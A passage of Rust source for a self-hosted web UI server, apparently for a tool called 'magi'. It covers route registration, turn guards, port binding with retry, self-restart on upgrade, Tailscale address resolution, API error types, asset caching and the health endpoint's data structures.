864            // it - deliberately - so the fix is that the panel's own URL ends
865            // in a filename and its siblings are the assets.
866            .route("/api/questions/{id}/panel/index.html", get(question_panel))
867            .route("/api/questions/{id}/panel/{name}", get(question_asset))
868            .route("/api/questions/{id}/asset/{name}", get(question_asset))
869            .route("/api/notifications", get(notifications_list))
870            .route("/api/notifications/read-all", post(notifications_read_all))
871            .route("/api/notifications/{id}/read", post(notification_read))
872            .route(
873                "/api/notifications/{id}/dismiss",
874                post(notification_dismiss),
875            )
876            .route("/api/talks", get(talks_list).post(talk_post))
877            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
878            .route("/api/talks/{id}/say", post(talk_say))
879            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
880            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
881            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
882            .route("/api/talks/{id}/agent", post(talk_agent))
883            .route("/api/talks/{id}/close", post(talk_close))
884            .route("/api/talks/{id}/reopen", post(talk_reopen))
885            // `DefaultBodyLimit` is raised only on this one route - every
886            // other route on this server answers in a few kilobytes, and
887            // widening the crate-wide default for all of them just because
888            // one accepts a picture would let any other handler be handed
889            // a multi-megabyte body it never expects.
890            .route(
891                "/api/talks/{id}/attachments",
892                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
893            )
894            .route(
895                "/api/talks/{id}/attachments/{att}",
896                get(talk_attachment_get),
897            )
898            .route("/api/events", get(events))
899            .with_state(Arc::new(self))
900    }
901}
902
903/// One talk's turn slot, released on drop.
904///
905/// A guard rather than a matching `remove` at the end of the handler, because
906/// the handler has several early returns and one `await` that can be cancelled
907/// out from under it. A leaked id is a talk nobody can talk to again.
908#[derive(Debug)]
909struct TalkTurnGuard {
910    talk: String,
911    turns: Arc<Mutex<TalkTurns>>,
912    released: bool,
913}
914
915/// In-memory turn ownership plus the queue generation observed by a drainer.
916///
917/// The generation changes only after a durable queued draft is written and its
918/// caller finds the turn busy. That lets the loop run filesystem work outside
919/// this mutex while still making the final empty-check/release atomic with a
920/// concurrent queue handoff.
921#[derive(Debug, Default)]
922struct TalkTurns {
923    live: HashSet<String>,
924    queued: HashMap<String, u64>,
925}
926
927/// The atomic initial-state decision made by
928/// [`Ui::begin_talk_turn_unless_pending`].
929enum TalkTurnStart {
930    Claimed(TalkTurnGuard),
931    Busy,
932    Pending,
933}
934
935impl TalkTurnGuard {
936    /// Release while the caller already holds the claim mutex, closing the
937    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
938    fn release(mut self, live: &mut TalkTurns) {
939        live.live.remove(&self.talk);
940        live.queued.remove(&self.talk);
941        self.released = true;
942    }
943}
944
945impl Drop for TalkTurnGuard {
946    fn drop(&mut self) {
947        if self.released {
948            return;
949        }
950        if let Ok(mut live) = self.turns.lock() {
951            live.live.remove(&self.talk);
952            live.queued.remove(&self.talk);
953        }
954    }
955}
956
957/// Releases a resume claim, so a run is resumable again after the attempt.
958struct ResumeGuard {
959    run: String,
960    resuming: Arc<Mutex<HashSet<String>>>,
961}
962
963impl Drop for ResumeGuard {
964    fn drop(&mut self) {
965        if let Ok(mut live) = self.resuming.lock() {
966            live.remove(&self.run);
967        }
968    }
969}
970
971/// Bind the port, waiting briefly for a predecessor to let go of it.
972///
973/// A restart hands the address from one process to the next, and the old one
974/// holds its listener until it unwinds. A single `bind` can lose that race,
975/// and for a restart triggered from a phone that means the deck never comes
976/// back with no terminal around to say why.
977///
978/// Bounded, and only for the one error a wait can fix: anything else fails at
979/// once, because retrying it would turn a clear message into a silence.
980async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
981    const WINDOW: Duration = Duration::from_secs(10);
982    const GAP: Duration = Duration::from_millis(250);
983
984    let deadline = std::time::Instant::now() + WINDOW;
985    let mut said = false;
986    loop {
987        match tokio::net::TcpListener::bind(socket).await {
988            Ok(listener) => return Ok(listener),
989            Err(e)
990                if e.kind() == std::io::ErrorKind::AddrInUse
991                    && std::time::Instant::now() < deadline =>
992            {
993                if !said {
994                    said = true;
995                    tracing::info!(
996                        "{socket} is still held - waiting up to {}s for it, \
997                         which is what a restart looks like from here",
998                        WINDOW.as_secs()
999                    );
1000                }
1001                tokio::time::sleep(GAP).await;
1002            }
1003            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1004        }
1005    }
1006}
1007
1008/// Signalled when an upgrade has replaced the binary and the successor should
1009/// take this address over. One per process: there is one address to hand on.
1010static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1011
1012/// Set to `1` on the successor when the loop was running at handover.
1013const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1014
1015/// Whether the environment value asks for the loop to be resumed.
1016fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1017    value.is_some_and(|v| v == "1")
1018}
1019
1020/// Start this binary again with the same arguments, detached.
1021///
1022/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1023/// so the address is already free when the successor binds it. The first
1024/// attempt at this spawned the successor two hundred milliseconds before
1025/// exiting instead, and the released binary - which has no bind retry - died
1026/// on "address already in use" with its stdio sent to null, so the deck
1027/// simply never came back.
1028///
1029/// Detached and without inherited stdio: the successor has to outlive this
1030/// process, and must not hold open a pipe a terminal is waiting on.
1031///
1032/// `resume` tells the successor to start the queue loop, through
1033/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1034/// process inherited from its own predecessor cannot leak into a generation
1035/// that should not resume. The successor's own environment keeps the variable
1036/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1037fn spawn_successor(resume: bool) -> Result<()> {
1038    let exe = std::env::current_exe().context("find this binary")?;
1039    let args: Vec<String> = std::env::args().skip(1).collect();
1040    tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1041
1042    let mut cmd = std::process::Command::new(&exe);
1043    if resume {
1044        cmd.env(RESUME_LOOP_ENV, "1");
1045    } else {
1046        cmd.env_remove(RESUME_LOOP_ENV);
1047    }
1048    cmd.args(&args)
1049        .stdin(std::process::Stdio::null())
1050        .stdout(std::process::Stdio::null())
1051        .stderr(std::process::Stdio::null());
1052    #[cfg(windows)]
1053    {
1054        use std::os::windows::process::CommandExt as _;
1055        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1056        // and Ctrl-C in the old terminal must not reach the successor.
1057        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1058    }
1059    cmd.spawn().context("start the successor")?;
1060    Ok(())
1061}
1062
1063/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1064///
1065/// The server itself owns no state, so nothing here is graceful for the HTTP
1066/// side's sake: the connections go with the dropped listener, which costs a
1067/// phone one change-stream reconnection it was going to make anyway.
1068///
1069/// The signal branch is not optional now that the loop lives in this process.
1070/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1071/// handler is what stops the signal terminating the process - so without a
1072/// branch of our own, the first Ctrl-C after the operator started the loop
1073/// would stop the loop and leave `magi web` listening forever, unkillable
1074/// from the terminal it was started in.
1075///
1076/// What it waits for is the loop, not the sockets. A run in flight is
1077/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1078/// mid-node leaves worktrees, branches and agent sessions behind and throws
1079/// away every agent call already paid for.
1080///
1081/// The server therefore runs on a task of its own rather than inside the
1082/// `select!`: an arm that resolves *drops* the futures the other arms were
1083/// polling, so serving the address from inside one would take the deck down
1084/// at the instant the handover began and keep it down for the whole park -
1085/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1086/// owns the order.
1087pub async fn serve(opts: Opts) -> Result<()> {
1088    let (addr, warning) = resolve_bind(&opts.bind);
1089    if let Some(warning) = warning {
1090        tracing::warn!("{warning}");
1091    }
1092
1093    // Process-global, and therefore set exactly once, here: the report route
1094    // must never emit escape sequences into a browser, and toggling the flag
1095    // per request would race with a concurrent request rendering its own
1096    // report. Startup is the only moment at which no request can observe the
1097    // change. Nothing in the server turns colour back on.
1098    report::set_color(false);
1099
1100    let repo = normalize_default_repo(opts.repo).await;
1101    let ui = Ui::open(repo).with_merge(opts.merge);
1102    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1103    // home to bracket the parking and restarting stages, and `run_update_recheck`
1104    // needs both it and the repo, and by then there is no `ui` left to read
1105    // them from.
1106    let home = ui.home.clone();
1107    let repo = ui.repo.clone();
1108    // Settles a progress record a predecessor left non-terminal - either this
1109    // *is* the successor `spawn_successor` started, or the previous process
1110    // died mid-handover. Before the router starts answering, so the very
1111    // first `/api/health` a phone gets from this process already reflects it.
1112    updater::reconcile_after_restart(&home);
1113    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1114    // `spawn_update_check` does at startup only ever runs once: after that,
1115    // `/api/health`'s `update` field - and the phone's "Update & restart"
1116    // button, which reads the very same cache - would stay frozen on
1117    // whatever that single check found, no matter how many releases ship
1118    // afterwards. This keeps it current instead. Detached: it must keep
1119    // going for as long as this process serves, `serve` has nothing to await
1120    // it for, and it exits on its own the moment the process does.
1121    tokio::spawn(run_update_recheck(repo, home.clone()));
1122    let looping = ui.looping();
1123    let socket = SocketAddr::new(addr, opts.port);
1124    let listener = bind_waiting(socket).await?;
1125    let url = format!("http://{addr}:{}", opts.port);
1126    tracing::info!(
1127        "magi web UI on {url} - there is no authentication, so anyone who can \
1128         reach this address can file and hold tasks: the tailnet is the \
1129         security boundary"
1130    );
1131    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1132        tracing::info!("resumed the loop the predecessor was running");
1133    } else {
1134        tracing::info!(
1135            "the queue loop is not running yet - start it from the UI, which is \
1136             the whole reason this process can: nothing in the queue moves until \
1137             something is running the loop"
1138        );
1139    }
1140    if opts.open {
1141        // The URL alone on stdout, for a caller that wants to open it. magi
1142        // does not spawn a browser: on the machine this usually runs on there
1143        // is no display, and a failed launch would be the only output.
1144        println!("{url}");
1145    }
1146
1147    // On its own task, so nothing this function awaits can stop the address
1148    // being answered. `hand_over` is where it is given up.
1149    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1150    let interrupted = async {
1151        if tokio::signal::ctrl_c().await.is_err() {
1152            // No handler on this platform, so there is no signal to act on.
1153            // Never resolving is the safe answer: a failed registration must
1154            // not masquerade as the operator asking for a shutdown and take
1155            // the UI down on startup.
1156            std::future::pending::<()>().await;
1157        }
1158    };
1159    let handover = HANDOVER.notified();
1160    tokio::select! {
1161        joined = &mut served => match joined {
1162            Ok(outcome) => outcome.context("serve the web UI"),
1163            Err(e) => Err(e).context("the task serving the web UI ended"),
1164        },
1165        () = interrupted => {
1166            tracing::info!("shutting down the web UI");
1167            finish_loop(&looping).await;
1168            Ok(())
1169        }
1170        () = handover => {
1171            tracing::info!("upgraded - handing this address to the successor");
1172            hand_over(&home, &looping, served, spawn_successor).await
1173        }
1174    }
1175}
1176
1177/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1178/// process's own working directory is not a git checkout at all - the
1179/// checkout [`repos::discover_verified`] finds instead.
1180///
1181/// Only the unmodified default is ever replaced: an operator who named a
1182/// directory outright, git checkout or not, gets exactly that directory
1183/// back, and the same story downstream (a talk whose briefing embeds a
1184/// non-git directory, and an agent that has to ask the operator where the
1185/// real repository is) that has always told them so - substituting a guess
1186/// for an explicit answer would be a second, silent opinion about what they
1187/// meant. There is no instruction or task text yet to match against this
1188/// early, so only [`repos::discover_verified`]'s own-repository tier can
1189/// ever settle this - the hint tier never fires here.
1190///
1191/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1192/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1193/// or a git installation that is broken in exactly the way that made the
1194/// original `canonical` check above fail too - so it is re-checked with
1195/// `git::toplevel` before it is ever used in place of the operator's own
1196/// directory.
1197async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1198    if repo != FsPath::new(".") {
1199        return repo;
1200    }
1201    let Ok(canonical) = repo.canonicalize() else {
1202        return repo;
1203    };
1204    if git::toplevel(&canonical).await.is_ok() {
1205        return repo;
1206    }
1207    let Some(home) = dirs::home_dir() else {
1208        return repo;
1209    };
1210    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1211        Some(found) => {
1212            tracing::info!(
1213                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1214                canonical.display(),
1215                found.path.display(),
1216                found.reason,
1217            );
1218            found.path
1219        }
1220        None => repo,
1221    }
1222}
1223
1224/// Park the loop, then release the address, then start the successor.
1225///
1226/// The order is the whole function, and each step is answerable to a failure
1227/// this arrangement has already had:
1228///
1229/// 1. **Park.** The loop was asked to stop by the request that replaced the
1230///    binary, and this waits for it, because killing the graph mid-node
1231///    leaves worktrees, branches and agent sessions behind and throws away
1232///    every agent call already paid for. It takes as long as the node in
1233///    flight - up to `timeout_implement`, an hour by default - and the deck
1234///    goes on answering for all of it, which is the reason `served` is a task
1235///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1236///    first upgrade from a phone that caught a run mid-implement dropped the
1237///    listener the moment it was asked to, and the operator got
1238///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1239///    waiting on and nothing but a process list to say the run was alive.
1240/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1241///    the join resolves only once the task's future has been dropped, so the
1242///    listener is released before the next line. Connections it already
1243///    accepted are served on tasks of their own and wind down asynchronously;
1244///    on some platforms (macOS) they can briefly keep the address busy, and
1245///    the successor's `bind_waiting` absorbs that.
1246/// 3. **Start the successor**, which binds the address this process has just
1247///    let go of - see [`spawn_successor`] for what the other order cost.
1248///
1249/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1250/// reporting, not part of the design: it exists so `/api/health` can say
1251/// "parking, waiting on run X" instead of leaving the phone to guess why the
1252/// deck went quiet, and dropping it would not change the order above.
1253async fn hand_over(
1254    home: &FsPath,
1255    looping: &Mutex<LoopState>,
1256    served: tokio::task::JoinHandle<std::io::Result<()>>,
1257    successor: impl FnOnce(bool) -> Result<()>,
1258) -> Result<()> {
1259    if let Some(mut progress) = updater::read_progress(home) {
1260        progress.advance(updater::Stage::Parking);
1261        let _ = updater::write_progress(home, &progress);
1262    }
1263    finish_loop(looping).await;
1264    served.abort();
1265    let _ = served.await;
1266    // Read last: the deck answers for the whole park, so an operator's stop
1267    // during the wait must still be honoured by the successor.
1268    let resume = lock_or_recover(looping).resume_after_handover;
1269    if let Some(mut progress) = updater::read_progress(home) {
1270        progress.advance(updater::Stage::Restarting);
1271        let _ = updater::write_progress(home, &progress);
1272    }
1273    successor(resume)
1274}
1275
1276/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1277///
1278/// The wait is the whole function. Returning from `serve` while a graph is
1279/// mid-node ends the process with worktrees, branches and agent sessions left
1280/// behind and every agent call in that run paid for and thrown away, which is
1281/// exactly what the daemon's own shutdown refuses to do.
1282async fn finish_loop(state: &Mutex<LoopState>) {
1283    let live = lock_or_recover(state).live.take();
1284    let Some(live) = live else { return };
1285    live.stop.stop();
1286    lock_or_recover(state).rev += 1;
1287    tracing::info!("waiting for the loop to finish the run in flight");
1288    // The task records its own outcome and logs it, so there is nothing to do
1289    // with a join error here but stop waiting.
1290    let _ = live.handle.await;
1291}
1292
1293/// Resolve `--bind` to an address, plus a warning when the answer is not what
1294/// the operator asked for.
1295///
1296/// Split out from [`serve`] because the interesting half - deciding whether
1297/// Tailscale gave us something usable - is testable without opening a socket.
1298pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1299    match bind {
1300        Bind::Addr(addr) => (*addr, None),
1301        Bind::Auto => match tailscale_ip() {
1302            Ok(ip) => (IpAddr::V4(ip), None),
1303            Err(why) => (
1304                IpAddr::V4(Ipv4Addr::LOCALHOST),
1305                Some(format!(
1306                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1307                     local-only and a phone cannot reach it; start Tailscale \
1308                     or pass --bind <addr>"
1309                )),
1310            ),
1311        },
1312    }
1313}
1314
1315/// This machine's Tailscale IPv4, or why there is not one.
1316///
1317/// `tailscale ip -4` is a local call against the running daemon and returns in
1318/// milliseconds, so it is fine to make it synchronously before the server
1319/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1320/// CGNAT block Tailscale assigns from, and anything else on that output would
1321/// be a different tool answering.
1322fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1323    let out = std::process::Command::new("tailscale")
1324        .args(["ip", "-4"])
1325        .quiet()
1326        .output()
1327        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1328    if !out.status.success() {
1329        let why = String::from_utf8_lossy(&out.stderr);
1330        let why = why.trim();
1331        return Err(format!(
1332            "`tailscale ip -4` failed ({}){}",
1333            out.status,
1334            if why.is_empty() {
1335                String::new()
1336            } else {
1337                format!(": {why}")
1338            }
1339        ));
1340    }
1341    String::from_utf8_lossy(&out.stdout)
1342        .lines()
1343        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1344        .find(is_tailnet)
1345        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1346}
1347
1348/// Is this address in the CGNAT block Tailscale hands out from?
1349fn is_tailnet(ip: &Ipv4Addr) -> bool {
1350    let o = ip.octets();
1351    o[0] == 100 && (64..=127).contains(&o[1])
1352}
1353
1354/// What every handler returns. Spelled out because `Result` in this crate is
1355/// `anyhow::Result`, and a handler's error is a status code as much as a
1356/// message.
1357type ApiResult<T> = std::result::Result<T, ApiError>;
1358
1359/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1360#[derive(Debug)]
1361struct ApiError {
1362    status: StatusCode,
1363    message: String,
1364}
1365
1366impl ApiError {
1367    /// The client asked for something malformed.
1368    fn bad_request(message: impl Into<String>) -> Self {
1369        Self {
1370            status: StatusCode::BAD_REQUEST,
1371            message: message.into(),
1372        }
1373    }
1374
1375    /// No such run or task.
1376    fn not_found(message: impl Into<String>) -> Self {
1377        Self {
1378            status: StatusCode::NOT_FOUND,
1379            message: message.into(),
1380        }
1381    }
1382
1383    /// Someone else owns the thing the client wants to change.
1384    /// Re-badge an error whose default mapping is wrong for this route.
1385    fn with_status(mut self, status: StatusCode) -> Self {
1386        self.status = status;
1387        self
1388    }
1389
1390    /// A rules violation from a domain type, reported as the caller's fault.
1391    /// `Question::answer` rejects an unoffered choice, and that is a bad
1392    /// request, not a server error.
1393    fn bad_request_from(e: anyhow::Error) -> Self {
1394        Self::bad_request(format!("{e:#}"))
1395    }
1396
1397    fn conflict(message: impl Into<String>) -> Self {
1398        Self {
1399            status: StatusCode::CONFLICT,
1400            message: message.into(),
1401        }
1402    }
1403
1404    /// Our fault, or the disk's.
1405    fn internal(message: impl Into<String>) -> Self {
1406        Self {
1407            status: StatusCode::INTERNAL_SERVER_ERROR,
1408            message: message.into(),
1409        }
1410    }
1411}
1412
1413impl From<anyhow::Error> for ApiError {
1414    /// Errors from `queue` and `run` carry their context chain, and the whole
1415    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1416    /// value at line 3" is a message an operator can act on, and there is no
1417    /// secret in a path on a single-user tailnet.
1418    fn from(e: anyhow::Error) -> Self {
1419        Self::internal(format!("{e:#}"))
1420    }
1421}
1422
1423impl IntoResponse for ApiError {
1424    fn into_response(self) -> Response {
1425        let body = serde_json::json!({ "error": self.message });
1426        (self.status, Json(body)).into_response()
1427    }
1428}
1429
1430/// Run a handler's filesystem work off the executor.
1431///
1432/// Every route that touches the disk goes through here rather than each one
1433/// arguing about whether its own read is small enough. Uniform because the
1434/// expensive case is not rare: `run.json` for a finished competition holds
1435/// every judgement, deliberation turn and review round, so listing a few
1436/// hundred runs is megabytes of parsing, and the executor threads doing it are
1437/// the same ones serving the change stream of every other connected phone.
1438async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1439where
1440    T: Send + 'static,
1441{
1442    match tokio::task::spawn_blocking(job).await {
1443        Ok(result) => result,
1444        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1445    }
1446}
1447
1448/// Cache policy for the three compiled-in front-end files.
1449///
1450/// The whole interface is `include_str!`ed into the binary, so its content
1451/// changes only when the binary does - and a phone that keeps a copy is
1452/// welcome to, right up until the deck is replaced. Without a single cache
1453/// header, browsers were free to invent their own policy, and one did:
1454/// yukimemi's phone went on showing "Candidates must be folded before
1455/// deleting. Run `magi fold` first." - a sentence deleted two releases
1456/// earlier - from a run detail served by a deck that no longer contained it.
1457/// The delete button he was told about was right there, and unreachable.
1458///
1459/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1460/// every time, the answer is a 304 costing one small round trip while the
1461/// deck is unchanged, and the moment it is replaced the tag differs and the
1462/// new interface arrives. Correctness over bytes - this is one file of a few
1463/// tens of kilobytes on a tailnet, and being a version behind is not a
1464/// cosmetic problem when the difference is whether a button exists.
1465const ASSET_CACHE: &str = "no-cache, must-revalidate";
1466
1467/// `ETag` for the compiled-in assets, distinct per build.
1468///
1469/// The version alone would leave a locally built deck - `cargo install
1470/// --path .` twice at the same version, which is the normal way to iterate -
1471/// serving a stale tag for changed bytes. The build timestamp is what makes
1472/// two builds of `0.3.0` differ.
1473fn asset_etag() -> &'static str {
1474    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1475        format!(
1476            "\"{}-{}\"",
1477            env!("CARGO_PKG_VERSION"),
1478            // Length is a cheap, deterministic stand-in for a hash: the
1479            // three files are compiled in together, so any edit to any of
1480            // them almost certainly changes the total, and a rebuild is what
1481            // this needs to track rather than every possible byte pattern.
1482            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1483        )
1484    });
1485    &TAG
1486}
1487
1488/// Headers for a compiled-in asset of `mime`.
1489fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1490    [
1491        (header::CONTENT_TYPE, mime),
1492        (header::CACHE_CONTROL, ASSET_CACHE),
1493        (header::ETAG, asset_etag()),
1494    ]
1495}
1496
1497/// Serve a compiled-in asset, answering `304` when the client already has it.
1498///
1499/// axum does not compare `If-None-Match` for us, and a header the server sets
1500/// but never honours is worse than none: the phone revalidates on every load
1501/// and is handed the whole file back each time. Doing the comparison is what
1502/// makes `must-revalidate` cost one small round trip rather than the
1503/// interface.
1504fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1505    let tag = asset_etag();
1506    let known = headers
1507        .get(header::IF_NONE_MATCH)
1508        .and_then(|v| v.to_str().ok())
1509        // A revalidating client may send several, and a proxy may weaken the
1510        // tag to `W/"..."`; matching on containment covers both without
1511        // parsing the grammar.
1512        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1513    if known {
1514        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1515    }
1516    (asset_headers(mime), body).into_response()
1517}
1518
1519async fn index(headers: header::HeaderMap) -> Response {
1520    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1521}
1522
1523async fn app_css(headers: header::HeaderMap) -> Response {
1524    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1525}
1526
1527async fn app_js(headers: header::HeaderMap) -> Response {
1528    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1529}
1530
1531/// What `/api/health` answers.
1532#[derive(Debug, Serialize)]
1533struct HealthView {
1534    version: &'static str,
1535    home: String,
1536    queue_rev: u64,
1537    runs_rev: u64,
1538    /// The same revisions [`events`] streams for the question and talk
1539    /// stores.
1540    ///
1541    /// Here because this route is what the front end falls back to when the
1542    /// change stream is not up - it re-polls health on a timer and on wake, and
1543    /// takes the revisions from the answer. Without these the fallback
1544    /// compares `undefined` against `undefined` for both stores, decides
1545    /// nothing moved, and a phone with a dead stream never learns that a
1546    /// question was asked or that a talk took a turn. `queue_rev` and
1547    /// `runs_rev` above have always been here for exactly this reason; the rule
1548    /// is that every revision the stream carries, this route carries too.
1549    questions_rev: u64,
1550    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1551    talks_rev: u64,
1552    /// See [`HealthView::questions_rev`]. The notification centre's store.
1553    notifications_rev: u64,
1554    /// Notifications nobody has read yet: the bell's badge before
1555    /// `/api/notifications` has answered.
1556    notifications_unread: usize,
1557    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1558    /// is not on disk anywhere, so a phone with no change stream has no other
1559    /// way to notice that the loop it is waiting on was started from another
1560    /// device.
1561    loop_rev: u64,
1562    /// Runs on disk whose state this build cannot parse - almost always a
1563    /// schema bump, occasionally a run killed mid-write.
1564    ///
1565    /// Reported because the list silently skips them, and "no competitions
1566    /// yet" is a lie when six of them are sitting in the runs directory. The
1567    /// terminal deck learned the same lesson: a run that fails to parse must
1568    /// not disappear from the count.
1569    runs_unreadable: usize,
1570    /// The disk, and what the runs and their worktrees occupy on it.
1571    ///
1572    /// This is the incident the janitor exists for: magi alone put 30 GB into
1573    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1574    /// is exactly where the operator learns "the disk is the constraint" -
1575    /// the diagnosis that a run is being held for want of space has to be
1576    /// checkable on the same screen.
1577    disk: DiskView,
1578    /// Questions nobody has answered yet, including ones an owner talked
1579    /// back on and is now waiting for the agent's reply to. A round trip
1580    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1581    /// while the ball is in the agent's court - see
1582    /// [`crate::ask::Questions::count_open`].
1583    questions_open: usize,
1584    /// Of those, how many actually need the owner right now: open, and not
1585    /// [`crate::ask::Question::waiting_on_agent`].
1586    ///
1587    /// The one number that means "nothing will happen until a human acts" -
1588    /// a parked run consumes nothing and progresses never - and the count the
1589    /// ask bar, the nav badge and the document title fall back to before
1590    /// `/api/questions` has answered, so those notification channels clear
1591    /// the instant the owner asks back and reappear the instant the agent
1592    /// replies, instead of sitting lit for however long the agent thinks.
1593    questions_needs_owner: usize,
1594    daemon: DaemonView,
1595    /// The loop in this process, exactly what `/api/loop` answers with.
1596    ///
1597    /// Here so a phone that has just woken needs one request to know whether
1598    /// anything is going to happen at all: `daemon` says a loop is alive
1599    /// somewhere, and this says whether it is one this UI can stop.
1600    #[serde(rename = "loop")]
1601    looping: LoopView,
1602    /// Whether a release newer than this build is known, and which.
1603    ///
1604    /// From [`updater::Checker::cached_update`] - the same throttled state the
1605    /// CLI's `notify` mode banners from - never a live check: this route is
1606    /// polled every few seconds, and a live check on each poll would spend
1607    /// GitHub's rate limit before the operator finished reading the strip.
1608    update: UpdateView,
1609    /// The self-upgrade this deck last set in motion, or `null` before the
1610    /// first one. Read off disk, so the successor can report what its
1611    /// predecessor started.
1612    upgrade: Option<UpgradeProgressView>,
1613}
1614
1615/// What `/api/health` knows about a release newer than this build.
1616///
1617/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1618/// is already the newest" from "never checked" - both are `None` - and the
1619/// phone needs to tell those apart to decide whether the deck can be trusted
1620/// to have an opinion at all.
1621#[derive(Debug, Serialize)]
1622struct UpdateView {
1623    /// A newer release is known to exist.
1624    available: bool,
1625    /// Its tag, when `available`.
1626    to: Option<String>,
1627}
1628
1629/// [`updater::Progress`] as `/api/health` reports it.
1630#[derive(Debug, Serialize)]
1631struct UpgradeProgressView {
1632    stage: updater::Stage,
1633    from: String,
1634    to: Option<String>,
1635    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1636    /// the step it is finishing before the address is handed over.
1637    waiting_on: Option<String>,
1638    started_at: Timestamp,
1639    updated_at: Timestamp,
1640    detail: Option<String>,
1641}
1642
1643/// Whether [`run_update_recheck`] may act at all this tick.
1644///
1645/// The same two conditions [`updater::Checker::new`] and
1646/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1647/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1648/// GitHub from this process" - on a button press or on a timer alike.
1649fn should_spawn_recheck(cfg: &Update) -> bool {
1650    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1651}
1652
1653/// Whether this tick should actually reach the network, once checking itself
1654/// is allowed.
1655///
1656/// An upgrade already in flight must not be raced by a check that discovers
1657/// a *newer* release while one is still installing - a phone watching
1658/// `/api/health` would see the answer change out from under the upgrade it
1659/// already asked for. Past that, [`updater::Checker::should_check`] is the
1660/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1661/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1662/// polling period, is what keeps this task's network use to at most once per
1663/// `[update] interval` regardless of how often it wakes up.
1664fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1665    if progress.is_some_and(|p| !p.stage.terminal()) {
1666        return false;
1667    }
1668    checker.should_check()
1669}
1670
1671/// How long [`run_update_recheck`] sleeps before its next wake-up.
1672///
1673/// A fraction of the configured `[update] interval` rather than a fixed
1674/// number: a fixed sleep longer than a short custom interval would leave the
1675/// deck waiting on its own wake-up rather than on `should_check`, so an
1676/// operator who set `interval = "1m"` to make the UI catch up quickly would
1677/// not see that take effect until the next restart - exactly the bug this
1678/// task exists to fix, just moved one level down. Scaling with the interval
1679/// keeps the wake-up prompt relative to what was actually configured, while
1680/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1681/// still what caps the network calls themselves at one per interval,
1682/// regardless of how often this fires.
1683fn recheck_poll_period(cfg: &Update) -> Duration {
1684    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1685}
1686
1687/// Keep `/api/health`'s `update` field current for as long as `magi web`
1688/// stays up.
1689///
1690/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1691/// which is enough for every other command: they exit in seconds. `magi web`
1692/// can run for days, so a single startup check leaves the cache - and the
